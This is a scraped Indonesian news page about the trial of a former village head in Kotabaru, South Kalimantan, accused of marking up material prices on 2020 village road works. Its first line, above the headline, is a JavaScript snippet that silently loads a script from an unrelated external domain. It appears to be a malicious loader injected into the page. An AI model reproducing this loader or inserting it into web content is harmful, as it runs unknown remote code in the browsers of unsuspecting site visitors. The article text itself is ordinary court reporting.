(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mark Up Proyek Jalan Desa, Mantan Kades di Kotabaru Disidang


KANALKALIMANTAN.COM, BANJARMASIN – Seorang mantan Kepala Desa (Kades) di Kabupaten Kotabaru, Kalimantan Selatan, harus mempertanggungjawabkan perbuatannya karena terjerat kasus korupsi Anggaran Pendapatan dan Belanja Desa (APBDes) tahun 2020.

Arabani, lelaki paruh baya yang sebelumnya menjabat Kades Talusi, Kecamatan Pamukan Selatan, Kotabaru ini mulai menjalani sidang dakwaan di Pengadilan Tipikor Banjarmasin, Senin (9/10/2023) lalu.

Oleh Jaksa Penuntut Umum (JPU) Kejari Kotabaru, Arbani didakwa depan pasal 2 ayat (1) Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi untuk dakwaan primair.

Kemudian subsider dipasang pasal 3 Jo pasal 18 UU Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Baca juga: Aksi Mahasiswa ULM di Bundaran Banjarbaru, ‘Pulihkan Kalsel’ dari Bencana

“Yang bersangkutan disangka secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara,” kata Kasi Pidsus Kejari Kotabaru, Arditya Bima Yogha.

Adapun hasil audit kerugian negara pada kasus korupsi mantan Kades Pamukan tersebut dikatakan Bima yaitu sebesar Rp124.226.201.

Kasi Pidsus Kejari Kotabaru sekaligus penuntut umum pada kasus ini menjelaskan, terdakwa melakukan korupsi pada kegiatan rehabilitasi atau peningkatan pengerasan jalan di RT 4 sampai RT 6 di Desa Talusi pada tahun 2020 lalu.

“Modusnya mark up atau peningkatan harga pembelian, contohnya seperti semen, pasir dan sebagainya,” jelas Bima.

Baca juga: Serangan terhadap Warga Muslim di AS Meningkat, Polisi Dorong Untuk Berani Melapor

Sejak ditetapkan tersangka hingga proses persidangan bergulir, terdakwa mantan Kades tersebut dikatakan telah dilakukan penahanan di Lapas Kotabaru dengan status tahanan titipan.

Usai mendengar dakwaan, Arbani yang mendapatkan bantuan hukum dari Posbakum PN Banjarmasin mengaku tidak akan mengajukan eksepsi (keberatan) atas dakwaan JPU.

Karena tidak ada eksepsi, majelis hakim yang diketuai oleh Suwandi langsung memerintahkan JPU pada sidang agenda pembuktian berikutnya untuk menyiapkan saksi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More

22 menit ago

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

45 menit ago

Bupati Lepas TP PKK Banjar Wakil Kalsel ke Parade Budaya Nusantara

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More

2 jam ago

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

2 jam ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

5 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

5 jam ago

This website uses cookies.